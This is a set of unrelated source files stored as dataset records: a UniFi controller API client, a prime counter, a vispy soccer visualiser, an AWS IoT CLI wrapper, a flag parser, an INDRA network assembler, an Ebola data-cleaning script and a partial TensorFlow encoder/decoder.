http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = \"{}/api/s/{}/cmd/stamgr\".format(_baseurl, _site)\n \n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n payload = {'cmd': 'unblock-sta', 'mac': client_mac}\n data = json.dumps(payload).encode(\"utf-8\")\n request = urllib.request.Request(_request_url, data, headers=headers)\n response = _http_client.open(request, timeout=100)\n _current_status_code = response.getcode()\n r = response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\n# Begin new functions\ndef UB_ADD_FW_GROUP(http_client, controller_details, client_ip, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n\n _request_url = '{}/api/s/{}/rest/firewallgroup'.format(_baseurl, _site)\n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/rest/firewallgroup'.format(_baseurl, _site)\n logging.debug(\"Using Request URL: {}\".format(_request_url))\n # Get the firewall group by name, and append our IP to the object\n _ip_exists = False\n _request = urllib.request.Request(_request_url, headers=headers)\n _response = _http_client.open(_request)\n _firewall_groups = json.loads(_response.read())['data']\n for _f in _firewall_groups:\n if _f.get(\"name\") == controller_details['group_name']:\n _current_members = _f.get(\"group_members\")\n if client_ip in _current_members:\n _ip_exists = True\n logging.debug(\"IP Already exists in group, doing nothing\")\n else:\n _new_members = _current_members + [client_ip] \n _f.update( {'group_members' : _new_members} )\n _group_id = _f.get('_id')\n _group = _f\n logging.debug('Going to send data: {}'.format(_group))\n if _ip_exists is False:\n _fw_update_request_url = \"{}/{}\".format(_request_url, _group_id)\n _update_request = urllib.request.Request(_fw_update_request_url, headers=headers, method='PUT', data=bytes(json.dumps(_group), encoding=\"utf-8\"))\n _update_response = _http_client.open(_update_request)\n\n _current_status_code = _update_response.getcode()\n r = _update_response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n else:\n _current_status_code = 999\n return _current_status_code, \"\"\n\n\ndef UB_REM_FW_GROUP(http_client, controller_details, client_ip, headers, group_name):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n\n _request_url = '{}/api/s/{}/rest/firewallgroup'.format(_baseurl, _site)\n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/rest/firewallgroup'.format(_baseurl, _site)\n logging.debug(\"Using Request URL: {}\".format(_request_url))\n _ip_exists = False\n _request = urllib.request.Request(_request_url, headers=headers)\n _response = _http_client.open(_request)\n _firewall_groups = json.loads(_response.read())['data']\n for _f in _firewall_groups:\n if _f.get(\"name\") == controller_details['group_name']:\n _current_members = _f.get(\"group_members\")\n if client_ip in _current_members:\n _current_members.remove(client_ip)\n _f.update({'group_members' : _current_members})\n _group_id = _f.get('_id')\n _group = _f\n _ip_exists = True\n else:\n _ip_exists = False\n logging.debug(\"IP does not exist in the group, doing nothing\")\n if _ip_exists is True:\n logging.debug(\"Sending Data: {}\".format(json.dumps(_group)))\n _fw_update_request_url = \"{}/{}\".format(_request_url, _group_id)\n _update_request = urllib.request.Request(_fw_update_request_url, headers=headers, method='PUT', data=bytes(json.dumps(_group), encoding=\"utf-8\"))\n _update_response = _http_client.open(_update_request)\n _current_status_code = _update_response.getcode()\n r = _update_response.read()\n\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n else:\n _current_status_code = 999\n return _current_status_code, \"\"\n\n\ndef UB_AUTHORIZE_GUEST(http_client, controller_details, client_mac, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n\n _request_url = '{}/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n\n _json_guest_request = {\n 'cmd': 'authorize-guest',\n 'mac': client_mac\n }\n # Update request based off data \n if controller_details['minutes'] != 0:\n j = {\n 'minutes': controller_details['minutes']\n }\n _json_guest_request.update(j)\n if controller_details['up'] != 0:\n j = {\n 'up': controller_details['up']\n }\n _json_guest_request.update(j) \n if controller_details['down'] != 0:\n j = {\n 'down': controller_details['down']\n }\n _json_guest_request.update(j) \n if controller_details['bytes'] != 0:\n j = {\n 'bytes': controller_details['bytes']\n }\n _json_guest_request.update(j) \n\n logging.debug(\"Using Request URL: {}\".format(_request_url))\n logging.debug(\"Sending Data: {}\".format(json.dumps(_json_guest_request)))\n\n _request = urllib.request.Request(_request_url, headers=headers, data=bytes(json.dumps(_json_guest_request), encoding=\"utf-8\"))\n _response = _http_client.open(_request)\n r = _response.read()\n _current_status_code = _response.getcode()\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_DEAUTHORIZE_GUEST(http_client, controller_details, client_mac, headers):\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n\n _request_url = '{}/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n\n _json_guest_request = {\n 'cmd': 'unauthorize-guest',\n 'mac': client_mac\n }\n \n logging.debug(\"Using Request URL: {}\".format(_request_url))\n logging.debug(\"Sending Data: {}\".format(json.dumps(_json_guest_request)))\n _request = urllib.request.Request(_request_url, headers=headers, data=bytes(json.dumps(_json_guest_request), encoding=\"utf-8\"))\n _response = _http_client.open(_request)\n\n r = _response.read()\n _current_status_code = _response.getcode()\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_PROVISON_PORT_PROFILE(http_client, controller_details, headers):\n # Get Port Profiles\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n\n _profile_url = '{}/api/s/{}/rest/portconf'.format(_baseurl, _site)\n if controller_details['type'] == 'unifios':\n _profile_url = '{}/proxy/network/api/s/{}/rest/portconf'.format(_baseurl, _site)\n logging.debug('Using Following URL: {}'.format(_profile_url))\n logging.debug('New Profile Name: {}'.format(controller_details['new_profile_name']))\n _profile_request = urllib.request.Request(_profile_url)\n _profile_response = _http_client.open(_profile_request)\n _port_profiles = {}\n _port_profiles = json.loads(_profile_response.read())['data']\n _profile_id = ''\n # find our profile ID based off the profile name\n for _profile in _port_profiles:\n if _profile['name'].lower() == controller_details['new_profile_name'].lower():\n _profile_id = _profile['_id']\n logging.debug('Found profile, ID: {}'.format(_profile_id))\n if _profile_id == '':\n _current_status_code = 998\n return _current_status_code\n\n # Get Existing Port Config\n _switch_response, _switch_data = UB_QUERY_DEVICE(http_client, controller_details, controller_details['switch_mac'], headers)\n _updated_port = {}\n _port_override_exists = False\n # Update the Config\n for _override in _switch_data['data'][0]['port_overrides']:\n if int(_override['port_idx']) == int(controller_details['port_index']):\n _port_override_exists = True\n _override['portconf_id'] = _profile_id\n logging.debug(\"Port Index Changed: {}\".format(str(_override['port_idx'])))\n try:\n if _override['dot1x_ctrl'] != controller_details['dot1x_state']:\n if controller_details['dot1x_state'] != 'inherit'.lower():\n _override['dot1x_ctrl'] = controller_details['dot1x_state']\n logging.debug('setting new state')\n else:\n del _override['dot1x_ctrl']\n logging.debug('deleting override')\n except KeyError:\n logging.debug('dot1x_ctrl key not exist')\n if controller_details['dot1x_state'] != 'inherit'.lower():\n _override['dot1x_ctrl'] = controller_details['dot1x_state']\n\n _updated_port['port_overrides'] = _switch_data['data'][0]['port_overrides']\n if _port_override_exists is False:\n p = {\n 'port_idx': int(controller_details['port_index']),\n 'portconf_id': _profile_id\n }\n _p_update = []\n _p_update = _updated_port['port_overrides']\n _p_update.append(p)\n _updated_port.update({'port_overrides': _p_update})\n \n logging.debug(\"Final Data to send: {}\".format(json.dumps(_updated_port)))\n _switch_id = _switch_data['data'][0]['device_id']\n\n # send the request\n _sw_update_url = '{}/api/s/{}/rest/device/{}'.format(_baseurl, _site, _switch_id)\n if controller_details['type'] == 'unifios':\n _sw_update_url = '{}/proxy/network/api/s/{}/rest/device/{}'.format(_baseurl, _site, _switch_id)\n logging.debug(\"Using Update URL: {}\".format(_sw_update_url))\n _update_request = urllib.request.Request(_sw_update_url, headers=headers, method='PUT', data=bytes(json.dumps(_updated_port), encoding=\"utf-8\"))\n _update_response = _http_client.open(_update_request)\n\n r = _update_response.read()\n _current_status_code = _update_response.getcode()\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n\n\ndef UB_DISCONNECT_CLIENT(http_client, controller_details, client_mac, headers):\n # disconnects endpoint from the network based off the MAC address of endpoint (Wireless only, switches do not listen to this)\n _http_client = http_client\n _address = controller_details[\"address\"]\n _port = controller_details[\"port\"]\n _site = controller_details[\"site\"]\n _baseurl = \"https://{}:{}\".format(_address, _port)\n _request_url = '{}/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n if controller_details[\"type\"] == 'unifios': \n _request_url = '{}/proxy/network/api/s/{}/cmd/stamgr'.format(_baseurl, _site)\n\n json_block_request = {\n 'cmd': 'kick-sta',\n 'mac': client_mac\n }\n _request = urllib.request.Request(_request_url, headers=headers, data=bytes(json.dumps(json_block_request), encoding=\"utf-8\"))\n _response = _http_client.open(_request)\n\n r = _response.read()\n _current_status_code = _response.getcode()\n data = json.loads(r.decode(\"utf-8\"))\n return _current_status_code, data\n","sub_path":"Ubiquiti SDN/Ubiquiti SDN 1.2.0/UB_API_NONOO.py","file_name":"UB_API_NONOO.py","file_ext":"py","file_size_in_byte":21556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"67482165","text":"def n_primos(n):\n \"\"\"\n n_primos que recebe como argumento um número inteiro\n maior ou igual a 2 como parâmetro e devolve\n a quantidade de números primos que existem entre 2 e n\n \"\"\"\n cont_primos = 0\n for i in range(2, n + 1):\n q = 1\n cont_div = 0\n while q <= i:\n if i % q == 0:\n cont_div += 1\n q += 1\n if cont_div == 2:\n cont_primos += 1\n return cont_primos\n","sub_path":"PyCursoUSP - Parte 1/semana 7/conta_primos.py","file_name":"conta_primos.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"408769313","text":"# -*- coding: utf-8 -*-\n\"\"\"\nVisualize the trajectory or points\n\"\"\"\n\nimport vispy\nfrom vispy.scene import visuals, SceneCanvas\n\nimport numpy as np\nimport time\nimport cv2\n\nclass SoccerVisualizer():\n def __init__(self, camera_position=[0, 0, 0]):\n \"\"\" visualizer for a football game\n\n Args:\n camera_position (list 1x3, optional): [camera position at start]. Defaults to [-20, 50, 20].\n \n LMB: orbits the view around its center point.\n\n RMB or scroll: change scale_factor (i.e. zoom level)\n\n SHIFT + LMB: translate the center point\n\n SHIFT + RMB: change FOV\n \"\"\"\n\n self.canvas = SceneCanvas(title='Soccer Field', keys='interactive', show=True)\n self.grid = self.canvas.central_widget.add_grid()\n self.view = vispy.scene.widgets.ViewBox(border_color='black', parent=self.canvas.scene)\n self.grid.add_widget(self.view, 0, 0)\n\n \n self.view.camera = vispy.scene.cameras.TurntableCamera( up='z', azimuth=170)\n self.view.camera.center = camera_position\n\n self.tick = 0\n self.old_time = None\n \n\n \n visuals.XYZAxis(parent=self.view.scene)\n\n '''\n Draw Soccer Field for reference [IMAGE VERSION]\n '''\n field = cv2.imread('field.png')[13:394,27:613,0]\n field[field>0] = 255\n field_size = np.shape(field)\n football_field = visuals.Image(data = field[:,:].T, parent = self.view.scene, cmap='grays')\n center_trans = vispy.visuals.transforms.MatrixTransform()\n center_trans.translate((-field_size[0]/2, -field_size[1]/2, 0))\n center_trans.scale(scale=(105/field_size[1], 68/field_size[0], 1))\n center_trans.rotate(90,(0,0,1))\n football_field.transform = center_trans\n\n\n\n def draw_ball_marker(self, positions, color, size_marker, timer=False, sampling_rate=800/16.17):\n \"\"\"\n Ball Visualizer (for now with a marker)\n\n Parameters\n ----------\n positions : 3xN array containing ball positions,Origin at center of field, x is width, y is length\n color: color of the ball, eg. red for triangulated, blue for ground truth¨\n real_time: (False) if true tries to do it in real time with given sampling rate\n sampling_rate (float, optional): [sampling rate of your input positions]. Defaults to 800/16.17.\n \n Returns\n -------\n None.\n \"\"\"\n if timer is False:\n ball_vis = visuals.Markers()\n ball_vis.set_data(positions, size=size_marker, face_color=color, edge_color=color)\n self.view.add(ball_vis)\n else:\n # auto is 1/60 seconds\n self.ball_positions = positions\n self.color_ball = color\n self.size_marker = size_marker\n self.timer = app.Timer( connect=self.on_timer, start=False)\n \n\n self.view.update()\n\n def on_timer(self, event):\n \"\"\" timer for animation\n\n Args:\n event (vispy event): look at the vispy documentation\n \"\"\"\n if self.old_time is None:\n self.old_time = time.time()\n self.span = 1\n else:\n delta = time.time() - self.old_time\n self.old_time = time.time()\n print(delta)\n self.span = self.sampling_rate*delta\n\n t = int(self.tick)\n t_span = int(self.span+self.tick)\n self.draw_ball_marker(np.array(self.ball_positions[t:t_span]), self.color_ball, self.size_marker)\n \n self.tick += self.span\n self.canvas.update()\n\n if self.tick > self.ball_positions.shape[0]:\n self._timer.disconnect()\n\n\n #def draw_ball_sphere(self, position, color, size_sphere):\n\n def draw_3d_line(self, points, color):\n Plot3D = vispy.scene.visuals.create_visual_node(vispy.visuals.LinePlotVisual)\n\n pos = np.c_[points[0], points[1], points[2]]\n Plot3D(pos, width=1000.0, color=color, edge_color='w', parent=self.view.scene)\n\n\n\n\nif __name__ == '__main__':\n \n visualizer = SoccerVisualizer()\n '''\n Test Ball\n '''\n ball_pos = np.array([[2, 4, 3]])\n\n \n visualizer.draw_ball_marker(ball_pos, color='red', size_marker=10)\n vispy.app.run()","sub_path":"src/SoccerVisualizer.py","file_name":"SoccerVisualizer.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"157285756","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_one_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/enable-topic-rule.html\nif __name__ == '__main__':\n \"\"\"\n\tcreate-topic-rule : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/create-topic-rule.html\n\tdelete-topic-rule : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/delete-topic-rule.html\n\tdisable-topic-rule : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/disable-topic-rule.html\n\tget-topic-rule : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/get-topic-rule.html\n\tlist-topic-rules : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/list-topic-rules.html\n\treplace-topic-rule : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iot/replace-topic-rule.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # rule-name : The name of the topic rule to enable.\n \"\"\"\n add_option_dict = {}\n\n #######################################################################\n # parameter display string\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_one_parameter(\"iot\", \"enable-topic-rule\", \"rule-name\", add_option_dict)\n\n\n\n\n\n","sub_path":"iot_write_1/topic-rule_enable.py","file_name":"topic-rule_enable.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"343977335","text":"import collections\n\n# 커맨드를 프로그램과 옵션(플래그, 플래그 아큐먼트 타입)을 분리\n\n\ndef split_command(command):\n command_list = command.split()\n options = None\n\n program_name = command_list[0]\n if len(command) != 0:\n options = command_list[1:]\n\n return [program_name, options]\n\n\ndef isstring(s):\n for c in s:\n if 'a' <= c <= 'z' or 'A' <= c <= 'Z':\n pass\n else:\n return False\n return True\n\n\ndef isnumber(s):\n for c in s:\n if '0' <= c <= '9':\n pass\n else:\n return False\n return True\n\n\ndef chk_command(command, program, flag_rule_dict):\n program_name, options = split_command(command)\n\n # command_program_name과 제시된 pragram이 일치하는지 확인\n if program_name != program:\n return False\n\n flag_name_first = True\n rule = \"NULL\"\n contious_arg_type_cnt = 0\n\n for option in options:\n\n if rule == \"NUMBERS\" or rule == \"STRINGS\":\n if contious_arg_type_cnt >= 1 and option[0] == '-':\n flag_name_first = True\n\n # flag_name이 들어와야 하는 자리에 flag_name이 있는지 확인\n if flag_name_first:\n if option[0] != '-':\n return False\n\n # flag_rule_dict에 등록되어 있는 flag_name인�� 확인\n if not option in flag_rule_dict:\n return False\n\n # 다음인자로 검사해야 할 flag_rule 확인\n rule = flag_rule_dict[option]\n if rule != \"NULL\":\n flag_name_first = False\n\n contious_arg_type_cnt = 0\n else:\n if rule == \"STRING\" or rule == \"STRINGS\":\n contious_arg_type_cnt += 1\n rule_matching = isstring(option)\n if not rule_matching:\n return False\n elif rule == \"NUMBER\" or rule == \"NUMBERS\":\n contious_arg_type_cnt += 1\n rule_matching = isnumber(option)\n if not rule_matching:\n return False\n\n if rule == \"STRINGS\" or rule == \"NUMBERS\":\n flag_name_first = False\n else:\n flag_name_first = True\n\n return True\n\n\ndef solution(program, flag_rules, commands):\n answer = []\n\n # flag rule을 dict 형태로 변환\n flag_rule_dict = dict()\n for flag_rule in flag_rules:\n flag_name, flag_argument_type = list(flag_rule.split())\n flag_rule_dict[flag_name] = flag_argument_type\n\n # commands 검사\n for command in commands:\n rule_matching = chk_command(command, program, flag_rule_dict)\n answer.append(rule_matching)\n return answer\n","sub_path":"(Pyton)ProblemSolving/ProblemSovling/LINE2021/PART2_LINE02.py","file_name":"PART2_LINE02.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"295781314","text":"import logging\nimport pandas as pd\nfrom .net import IndraNet\nfrom indra.statements import *\nfrom itertools import permutations\nfrom collections import OrderedDict, defaultdict\n\n\nlogger = logging.getLogger(__name__)\nNS_PRIORITY_LIST = (\n 'FPLX', 'HGNC', 'UP', 'CHEBI', 'GO', 'MESH', 'HMDB', 'PUBCHEM')\n\n\ndef get_ag_ns_id(ag):\n \"\"\"Return a tuple of name space, id from an Agent's db_refs.\"\"\"\n for ns in NS_PRIORITY_LIST:\n if ns in ag.db_refs:\n return ns, ag.db_refs[ns]\n return 'TEXT', ag.name\n\n\nclass IndraNetAssembler():\n \"\"\"Assembler to create an IndraNet object from a list of INDRA statements.\n\n Parameters\n ----------\n statements : list[indra.statements.Statement]\n A list of INDRA Statements to be assembled.\n\n Attributes\n ----------\n model : IndraNet\n An IndraNet graph object assembled by this class.\n \"\"\"\n\n def __init__(self, statements=None):\n self.statements = statements if statements else []\n self.model = None\n\n def add_statements(self, stmts):\n \"\"\"Add INDRA Statements to the assembler's list of statements.\n\n Parameters\n ----------\n stmts : list[indra.statements.Statement]\n A list of :py:class:`indra.statements.Statement`\n to be added to the statement list of the assembler.\n \"\"\"\n self.statements += stmts\n\n def make_model(self, exclude_stmts=None, complex_members=3,\n graph_type='multi_graph', sign_dict=None,\n belief_flattening=None, weight_flattening=None):\n \"\"\"Assemble an IndraNet graph object.\n\n Parameters\n ----------\n exclude_stmts : list[str]\n A list of statement type names to not include in the graph.\n complex_members : int\n Maximum allowed size of a complex to be included in the graph.\n All complexes larger than complex_members will be rejected. For\n accepted complexes, all permutations of their members will be added\n as edges. Default is `3`.\n graph_type : str\n Specify the type of graph to assemble. Chose from 'multi_graph'\n (default), 'digraph', 'signed'. Default is `multi_graph`.\n sign_dict : dict\n A dictionary mapping a Statement type to a sign to be used for\n the edge. This parameter is only used with the 'signed' option.\n See IndraNet.to_signed_graph for more info.\n belief_flattening : str or function(networkx.DiGraph, edge)\n The method to use when updating the belief for the flattened edge.\n\n If a string is provided, it must be one of the predefined options\n 'simple_scorer' or 'complementary_belief'.\n\n If a function is provided, it must take the flattened graph 'G'\n and an edge 'edge' to perform the belief flattening on and return\n a number:\n\n >>> def belief_flattening(G, edge):\n ... # Return the average belief score of the constituent edges\n ... all_beliefs = [s['belief']\n ... for s in G.edges[edge]['statements']]\n ... return sum(all_beliefs)/len(all_beliefs)\n\n weight_flattening : function(networkx.DiGraph)\n A function taking at least the graph G as an argument and\n returning G after adding edge weights as an edge attribute to the\n flattened edges using the reserved keyword 'weight'.\n\n Example:\n\n >>> def weight_flattening(G):\n ... # Sets the flattened weight to the average of the\n ... # inverse source count\n ... for edge in G.edges:\n ... w = [1/s['evidence_count']\n ... for s in G.edges[edge]['statements']]\n ... G.edges[edge]['weight'] = sum(w)/len(w)\n ... return G\n\n Returns\n -------\n model : IndraNet\n IndraNet graph object.\n \"\"\"\n df = self.make_df(exclude_stmts, complex_members)\n if graph_type == 'multi_graph':\n model = IndraNet.from_df(df)\n elif graph_type == 'digraph':\n model = IndraNet.digraph_from_df(\n df=df,\n flattening_method=belief_flattening,\n weight_mapping=weight_flattening\n )\n elif graph_type == 'signed':\n model = IndraNet.signed_from_df(df, sign_dict=sign_dict,\n flattening_method=belief_flattening,\n weight_mapping=weight_flattening)\n else:\n raise TypeError('Have to specify one of \\'multi_graph\\', '\n '\\'digraph\\' or \\'signed\\' when providing graph '\n 'type.')\n return model\n\n def make_df(self, exclude_stmts=None, complex_members=3):\n \"\"\"Create a dataframe containing information extracted from assembler's\n list of statements necessary to build an IndraNet.\n\n Parameters\n ----------\n exclude_stmts : list[str]\n A list of statement type names to not include in the dataframe.\n complex_members : int\n Maximum allowed size of a complex to be included in the\n data frame. All complexes larger than complex_members will be\n rejected. For accepted complexes, all permutations of their\n members will be added as dataframe records. Default is `3`.\n\n Returns\n -------\n df : pd.DataFrame\n Pandas DataFrame object containing information extracted from\n statements. It contains the following columns:\n \n *agA_name*\n The first Agent's name.\n *agA_ns*\n The first Agent's identifier namespace as per `db_refs`.\n *agA_id*\n The first Agent's identifier as per `db_refs`\n *ags_ns, agB_name, agB_id*\n As above for the second agent. Note that the Agent may be None\n (and these fields left empty) if the Statement consists only\n of a single Agent (e.g., SelfModification, ActiveForm,\n or Translocation statement).\n *stmt_type*\n Statement type, given by the name of the class\n in indra.statements.\n *evidence_count*\n Number of evidences for the statement.\n *stmt_hash*\n An unique long integer hash identifying the content of the\n statement.\n *belief*\n The belief score associated with the statement.\n *source_counts*\n The number of evidences per input source for the statement.\n *residue*\n If applicable, the amino acid residue being modified. NaN if\n if it is unknown or unspecified/not applicable.\n *position*\n If applicable, the position of the modified amino acid. NaN\n if it is unknown or unspecified/not applicable.\n *initial_sign*\n The default sign (polarity) associated with the given\n statement if the statement type has implied polarity.\n To facilitate weighted path finding, the sign is represented\n as 0 for positive polarity and 1 for negative polarity.\n \"\"\"\n rows = []\n if exclude_stmts:\n exclude_types = tuple(\n get_statement_by_name(st_type) for st_type in exclude_stmts)\n else:\n exclude_types = ()\n for stmt in self.statements:\n # Exclude statements from given exclude list\n if isinstance(stmt, exclude_types):\n logger.debug('Skipping a statement of a type %s.'\n % type(stmt).__name__)\n continue\n agents = stmt.agent_list()\n not_none_agents = [a for a in agents if a is not None]\n\n # Exclude statements with less than 2 agents\n if len(not_none_agents) < 2:\n continue\n # Special handling for Influences and Associations\n if isinstance(stmt, (Influence, Association)):\n stmt_pol = stmt.overall_polarity()\n if stmt_pol == 1:\n sign = 0\n elif stmt_pol == -1:\n sign = 1\n else:\n sign = None\n if isinstance(stmt, Influence):\n edges = [(stmt.subj.concept, stmt.obj.concept, sign)]\n else:\n edges = [(a, b, sign) for a, b in\n permutations(not_none_agents, 2)]\n # Handle complexes by creating pairs of their\n # not-none-agents.\n elif isinstance(stmt, Complex):\n # Do not add complexes with more members than complex_members\n if len(not_none_agents) > complex_members:\n logger.debug('Skipping a complex with %d members.'\n % len(not_none_agents))\n continue\n else:\n # add every permutation with a neutral polarity\n edges = [(a, b, None) for a, b in\n permutations(not_none_agents, 2)]\n elif isinstance(stmt, Conversion):\n edges = []\n if stmt.subj:\n for obj in stmt.obj_from:\n edges.append((stmt.subj, obj, 1))\n for obj in stmt.obj_to:\n edges.append((stmt.subj, obj, 0))\n # This is for any remaining statement type that may not be\n # handled above explicitly but somehow has more than two\n # not-none-agents at this point\n elif len(not_none_agents) > 2:\n continue\n else:\n edges = [(not_none_agents[0], not_none_agents[1], None)]\n for (agA, agB, sign) in edges:\n agA_ns, agA_id = get_ag_ns_id(agA)\n agB_ns, agB_id = get_ag_ns_id(agB)\n stmt_type = type(stmt).__name__\n try:\n res = stmt.residue\n except AttributeError:\n res = None\n try:\n pos = stmt.position\n except AttributeError:\n pos = None\n row = OrderedDict([\n ('agA_name', agA.name),\n ('agB_name', agB.name),\n ('agA_ns', agA_ns),\n ('agA_id', agA_id),\n ('agB_ns', agB_ns),\n ('agB_id', agB_id),\n ('residue', res),\n ('position', pos),\n ('stmt_type', stmt_type),\n ('evidence_count', len(stmt.evidence)),\n ('stmt_hash', stmt.get_hash(refresh=True)),\n ('belief', stmt.belief),\n ('source_counts', _get_source_counts(stmt)),\n ('initial_sign', sign)])\n rows.append(row)\n df = pd.DataFrame.from_dict(rows)\n df = df.where((pd.notnull(df)), None)\n return df\n\n\ndef _get_source_counts(stmt):\n source_counts = defaultdict(int)\n for ev in stmt.evidence:\n source_counts[ev.source_api] += 1\n return dict(source_counts)\n","sub_path":"indra/assemblers/indranet/assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":11539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"310128257","text":"\n# coding: utf-8\n\n# # Data Cleaning-Ebola Data Set Using the split and get methods\n# #### Robert Esteves\n# #### 8/26/2017\n# #### Notes: Using pandas.melt method and the split and get string methods\n\n# In[2]:\n\nimport pandas as pd\n\n\n# In[3]:\n\nurl = '~/datasets/ebola.csv'\n\n\n# In[4]:\n\nebola = pd.read_csv(url)\n\n\n# In[5]:\n\nebola.shape\n\n\n# In[6]:\n\nebola.columns\n\n\n# In[7]:\n\nebola.head()\n\n\n# In[14]:\n\nebola_melt = pd.melt(frame = ebola, \n id_vars=['Date', 'Day'],\n var_name = 'type_country',\n value_name = 'counts'\n )\n\n\n# In[15]:\n\nebola_melt.head()\n\n\n# In[16]:\n\nebola_melt['str_split'] = ebola_melt['type_country'].str.split('_')\n\n\n# In[17]:\n\nebola_melt.head()\n\n\n# In[18]:\n\nebola_melt['type']= ebola_melt['str_split'].str.get(0)\n\n\n# In[19]:\n\nebola_melt.head()\n\n\n# In[20]:\n\nebola_melt['country'] = ebola_melt['str_split'].str.get(1)\n\n\n# In[21]:\n\nebola_melt.head()\n\n\n# In[ ]:\n\n\n\n","sub_path":"Python/Data_Cleaning_Ebola_Data_Set_Using_split_and_get_methods.py","file_name":"Data_Cleaning_Ebola_Data_Set_Using_split_and_get_methods.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"126651692","text":"import numpy as np \nimport tensorflow as tf \n\n#Code for encoder layer\n\nclass encoder(tf.keras.layers.Layer):\n \n def __init__(self, parameter_list, name= 'ENCODER', return_seq = True):\n super(encoder, self).__init__()\n self.units = parameter_list['en_units']\n self.width = parameter_list['en_width'] - 1\n self.initializer = parameter_list['en_initializer']\n self.activation = parameter_list['en_activation']\n self.output_units = parameter_list['num_evals']\n self.encoder_layer = []\n \n def build(self, input_shape):\n for i in range(self.width):\n self.encoder_layer.append(tf.keras.layers.LSTM(units= self.units, activation= self.activation, recurrent_activation = 'sigmoid', return_sequences = True))\n \n self.encoder_layer.append(tf.keras.layers.LSTM(units= self.output_units, activation= self.activation, recurrent_activation = 'sigmoid', return_sequences = True))\n\n self.layers = tf.keras.Sequential(self.encoder_layer)\n\n def call(self, inputs):\n return self.layers(inputs)\n \n def get_config(self):\n configuration = {'Units' : self.units,\n 'Width' : 'LSTM layer = %d' %(self.width),\n 'Activation' : self.activation,\n 'Output' : self.output_units}\n return configuration\n\n#Code for decoder layer\n\nclass decoder(tf.keras.layers.Layer):\n \n def __init__(self, parameter_list, name= 'DECODER', return_seq = True):\n super(decoder, self).__init__()\n self.units = parameter_list['de_units']\n self.width = parameter_list['de_width'] - 1\n self.initializer = parameter_list['de_initializer']\n self.activation = parameter_list['de_activation']\n self.output_units = parameter_list['de_output_units']\n self.decoder_layer = []\n \n def build(self, input_shape):\n for i in range(self.width):\n self.decoder_layer.append(tf.keras.layers.Dense(units= self.units, activation= None))\n self.decoder_layer.append(tf.keras.layers.LeakyReLU(alpha= 0.3))\n\n self.decoder_layer.append(tf.keras.layers.Dense(units= self.output_units, activation= None))\n self.decoder_layer.append(tf.keras.layers.LeakyReLU(alpha= 0.3))\n \n self.layers = tf.keras.Sequential(self.decoder_layer)\n\n def call(self, inputs):\n return self.layers(inputs)\n \n def get_config(self):\n configuration = {'Units' : self.units,\n 'Width' : 'LSTM layer = %d' %(self.width),\n 'Activation' : self.activation,\n 'Output' : self.output_units}\n return configuration\n\n#Code for Koopman Operator Auxilary Network\nclass 